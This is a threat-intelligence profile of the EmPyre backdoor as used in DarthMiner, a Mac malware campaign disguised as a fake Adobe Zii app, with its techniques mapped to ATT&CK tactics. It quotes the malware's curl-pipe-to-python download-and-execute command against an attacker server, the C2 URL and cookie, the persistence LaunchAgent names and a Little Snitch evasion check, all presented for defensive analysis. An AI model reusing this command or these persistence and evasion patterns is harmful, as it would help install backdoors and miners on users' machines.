EmPyre
EmPyre is an open-source post-exploitation backdoor/agent that, in the provided reporting, was used as the remote access component of Mac malware distributed as a fake Adobe Zii application. In that campaign, the malware combined the EmPyre backdoor with the XMRig cryptominer. The fake installer used an Automator applet to execute a shell script that downloaded an obfuscated Python payload from https://ptpb.pw/jj9a and a decoy application from 46.226.108.171:80. The Python payload checked for the presence of Little Snitch and exited if it was detected, then connected to an EmPyre backend at http://46.226.108.171:4444/news.php using the cookie value session=SYDFioywtcFbUR5U3EST96SbqVk=. The EmPyre component gave the attacker the ability to push arbitrary commands to the infected Mac and likely provided full access to the system. Observed follow-on activity included downloading and executing /private/tmp/uploadminer.sh, which installed persistence via LaunchAgents, including com.proxy.initialize.plist for the backdoor and com.apple.rig.plist for the miner, and downloaded xmrig and config.json into /Users/Shared. The malware then launched the XMRig miner persistently. Commented-out code in the script referenced configuring a proxy at 46.226.108.171:8080 and installing a mitmproxy root certificate, which would have enabled interception of web traffic if activated. The reporting states that while observed behavior centered on cryptomining, the presence of the EmPyre backdoor meant the operators could also have executed arbitrary commands, including potential file theft or password capture. The overall malware was detected by Malwarebytes for Mac as OSX.DarthMiner. A related sample hash reported for Adobe Zii.app.zip was ebecdeac53069c9db1207b2e0d1110a73bc289e31b0d3261d903163ca4b1e31e.
Techniques & procedures
8 distinct techniques documented for this family, organized by ATT&CK tactic.
Execution
2 techniques
Execution
Opening the fake Adobe Zii app with Automator reveals the nature of the software, as it simply runs a shell script: curl https://ptpb.pw/jj9a | python - & s=46.226.108.171:80; curl $s/sample.zip -o sample.zip; unzip sample.zip -d sample; cd sample; cd __MACOSX; open -a sample.app
This script is designed to download and execute a Python script... This script opens up a connection to an EmPyre backend, which is capable of pushing arbitrary commands to the infected Mac.
Persistence
1 technique
Persistence
A launch agent named com.proxy.initialize.plist was created to keep the backdoor open persistently... The script also downloads the XMRig cryptominer... and sets up a launch agent named com.apple.rig.plist to keep the XMRig process running
Privilege Escalation
1 technique
Privilege Escalation
A launch agent named com.proxy.initialize.plist was created to keep the backdoor open persistently... The script also downloads the XMRig cryptominer... and sets up a launch agent named com.apple.rig.plist to keep the XMRig process running
Stealth
3 techniques
Stealth
What about the Python script? That turned out to be obfuscated, but was easily deobfuscated...
The malware was being distributed through an application named Adobe Zii... the app was called Adobe Zii, but it was definitely not the real thing... The sample.app is simple. It appears to simply be a version of Adobe Zii, most likely for the purpose of making it appear that the malware was actually “legitimate.”
The first thing this script does is look for the presence of Little Snitch... If Little Snitch is present, the malware bails out.
Discovery
1 technique
Discovery
The first thing this script does is look for the presence of Little Snitch... If Little Snitch is present, the malware bails out.
Command and Control
2 techniques
Command and Control
This script opens up a connection to an EmPyre backend... server='http://46.226.108.171:4444'; t='/news.php'
Once the backdoor is open, it receives a command that downloads the following script to /private/tmp/uploadminer.sh and executes it... The script also downloads the XMRig cryptominer and a config file into the /Users/Shared/ folder
Observables
10 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.